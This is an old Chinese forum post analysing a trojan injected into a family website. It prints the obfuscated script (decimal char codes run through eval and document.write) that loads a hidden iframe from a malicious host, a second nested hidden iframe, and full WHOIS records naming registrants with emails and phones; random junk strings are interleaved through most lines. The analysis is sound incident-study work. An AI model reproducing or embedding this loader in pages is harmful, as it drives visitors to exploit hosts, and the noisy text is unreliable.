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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, ~9#nC`%2j  
)U4h?J  
http://www.areway.cn/?p=175 Q}# 5mf&cD  
-oGJPl{r  
2w>l nJ-  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: TE+d?  
          UO%Vu C5B  
<script>t=’60,105,102,114,97,109,101, 1eG@?~G  
32,115,114,99,61,104,116,116,112,58,47,47, 6n9;t\'Gt  
102,114,101,101,46,117,45,117,117,117,46,99, -P!_<\q\l  
110,47,101,114,114,111,114,46,104,116,109, 4h:R+o ^H^  
32,119,105,100,116,104,61,49,48,48,32,104, e~7h8?\.q  
101,105,103,104,116,61,48,62,60,47,105,102, qkX}pQkG)h  
114,97,109,101,62′; s':fv[%  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> joaf0  
                                                                                                  yl63VX8w}  
<script>t=’60,105,102,114,97,109,101,32,115, XAN{uD^3\%  
114,99,61,104,116,116,112,58,47,47,102,114, 7/*a  
101,101,46,117,45,117,117,117,46,99,110,47, slSQ\;CDA  
101,114,114,111,114,46,104,116,109,32,119, Qg]8~^ Q<  
105,100,116,104,61,49,48,48,32,104,101,105, UPtWj8h  
103,104,116,61,48,62,60,47,105,102,114,97, xgl~4  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); wFr}]<=Mi  
document.write(t);</script> ,>-Q#  
                                                                                                  Mv9q-SIc[  
<html xmlns=” ]KX _a1e  
http://www.w3.org/1999/xhtml I{Pny/d`  
“> oS'M  
<head> bJ8~/d]+  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> rx^vh%/ Q!  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> v@OyB7}  
<title>首页 - 爱生活家庭网 W?W vT` T{  
                                                                                                                                                    **I9Nw!IH  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 ,,+ ~./)  
转换字符串后的大概内容是(谁点击后果自付): .\*3t/R=X  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… z!09vDB^  
                                                                                                                                  '8g/^Y@  
查询玉米u-uuu.cn的详细信息: :Uu Py|>  
Domain Name: u-uuu.cn B Z:H$v  
ROID: 20070901s10001s64972306-cn rV LUT  
Domain Status: ok s(yVE  
Registrant Organization: 王雷 5gpqN)|)[  
Registrant Name: 王雷 yKR0]6ahA  
Administrative Email: czlovexs@126.com ;9cBlthh  
Sponsoring Registrar: 北京万网志成科技有限公司 p_hljgOV  
Name Server:ns.yovole.com *|c*/7]<  
Name Server:ns1.yovole.com mPR(4Ol.  
Registration Date: 2007-09-01 17:54  .*H0{  
Expiration Date: 2008-09-01 17:54 ^/+0L[R  
最后PING了一下地址 都没有什么…. r30t`o12i  
                                                                                                r.e,!Bs  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. 2i);2>HLG  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> phIEz3Fu/  
<script language=”javascript” src=” y]OW{5(  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script x~."P*5  
> \Fh k>  
这个玉米应该有可能是木马作者的: _#c^z;!  
foafau.info的详细信息: 4uip!@$K  
Access to INFO WHOIS information is provided to assist persons in 5- Q`v/w;  
determining the contents of a domain name registration record in the %]9 <a  
Afilias registry database. The data in this record is provided by %9|=\# G  
Afilias Limited for informational purposes only, and Afilias does not vfT<%Kl!'  
guarantee its accuracy.  This service is intended only for query-based gI A{6,A  
access. You agree that you will use this data only for lawful purposes M4a- +T"  
and that, under no circumstances will you use this data to: (a) allow, ]Y[8|HJ8  
enable, or otherwise support the transmission by e-mail, telephone, or b@ J&jE~d  
facsimile of mass unsolicited, commercial advertising or solicitations rQNT  
to entities other than the data recipient’s own existing customers; or m,n V,}@J  
(b) enable high volume, automated, electronic processes that send &k3'UN!&Ix  
queries or data to the systems of Registry Operator, a Registrar, or 7pNTCZY|  
Afilias except as reasonably necessary to register domain names or A%u@xL,_  
modify existing registrations. All rights reserved. Afilias reserves 06bl$%  
the right to modify these terms at any time. By submitting this query, +4emkDTdR  
you agree to abide by this policy.  U4#[>*  
Domain ID:D22418703-LRMS mY9u/; dK  
Domain Name:FOAFAU.INFO YWA:741  
Created On:20-Nov-2007 16:05:42 UTC 4+mawyM  
Last Updated On:20-Nov-2007 16:05:44 UTC ]rM{\En  
Expiration Date:20-Nov-2008 16:05:42 UTC nLq7J:  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) .rj FhSr$  
Status:CLIENT DELETE PROHIBITED :)nn/[>fC  
Status:CLIENT RENEW PROHIBITED zO>N3pMv  
Status:CLIENT TRANSFER PROHIBITED uh`@qmu)  
Status:CLIENT UPDATE PROHIBITED t#|E.G:=  
Status:TRANSFER PROHIBITED d#T8|#O"  
Registrant ID:GODA-040110615 P[{w23`4  
Registrant Name:liu hong #)%N+Odnr  
Registrant Organization: zOq~?>Ms6  
Registrant Street1:beijing )@Yp;=l  
Registrant Street2: 4ei .-  
Registrant Street3: Y_`D5c:  
Registrant City:beijing >Uvtsj#  
Registrant State/Province: ,eRl Z3T  
Registrant Postal Code:100000 :=04_5 z  
Registrant Country:CN 8eP2B281  
Registrant Phone:+86.860108888777 "fLGXbNQ  
Registrant Phone Ext.: [d!C6FT  
Registrant FAX: @18@[ :d"  
Registrant FAX Ext.: O?@1</r^  
Registrant Email:bbbshiji@163.com {xt<`_R  
Admin ID:GODA-240110615 yy?|q0  
Admin Name:liu hong G?QFF6)}!  
Admin Organization: ~c!zTe  
Admin Street1:beijing S>7Zq5*  
Admin Street2: my")/e  
Admin Street3: uAyj##H  
Admin City:beijing Pi6C1uY6  
Admin State/Province: |bDN~c:/  
Admin Postal Code:100000 K G~](4JE(  
Admin Country:CN UQ>GAzh  
Admin Phone:+86.860108888777 < W,k$|w  
Admin Phone Ext.: 6__@?XzJ  
Admin FAX:  L}AR{  
Admin FAX Ext.: q 9qmz[  
Admin Email:bbbshiji@163.com <C6/R]x#  
Billing ID:GODA-340110615 lg;Y}?P  
Billing Name:liu hong \E.t=XBn  
Billing Organization: e%G- +6  
Billing Street1:beijing .]ZM2  
Billing Street2: {mL/)\  
Billing Street3: f7X#cs)a  
Billing City:beijing UA,&0.7  
Billing State/Province: +nd'Uf   
Billing Postal Code:100000 lf|e8kU\f  
Billing Country:CN U6X~]|o  
Billing Phone:+86.860108888777 xpyb&A  
Billing Phone Ext.: *NV`6?o@6  
Billing FAX: uYL6g:]+ZC  
Billing FAX Ext.: )F? 57eh  
Billing Email:bbbshiji@163.com P0Na<)\'Y!  
Tech ID:GODA-140110615 !N,Z3p>Q  
Tech Name:liu hong 5 LX3.  
Tech Organization: z$G?J+?J  
Tech Street1:beijing p%IR4f  
Tech Street2: *ILS/`mdav  
Tech Street3: q30WUO;  
Tech City:beijing YH<F~F _  
Tech State/Province: C?rL>_+71  
Tech Postal Code:100000 '*>LZo4  
Tech Country:CN t@.gmUUA  
Tech Phone:+86.860108888777 mkBQX  
Tech Phone Ext.: QC<( rx  
Tech FAX: h9+ylHW_cp  
Tech FAX Ext.: G !1- 20  
Tech Email:bbbshiji@163.com f'FY<ed<w  
Name Server:NS27.DOMAINCONTROL.COM V@>?lv(\  
Name Server:NS28.DOMAINCONTROL.COM NJUYeim;  
Name Server: dGIu0\J\$  
Name Server: <zZAVGb4I  
Name Server: CX':nai  
Name Server: Tc:W=\<  
Name Server: - |[_j$g  
Name Server: CG9X3%xO%  
Name Server: )[oU|!@  
Name Server: <O5;w  
Name Server: RMC|(Q<  
Name Server: `N(.10~  
Name Server: 8<n8joO0  
                                                                                                          9,`mH0jP  
接着下载每个文件里面的代码: MVt#n\_BZV  
一步一步看.. />ob*sk/Y  
.?I!/;=[  
iZMsN*9[  
#-'}r}1ZT  
Sa,N1r  
'EZ[aY!);  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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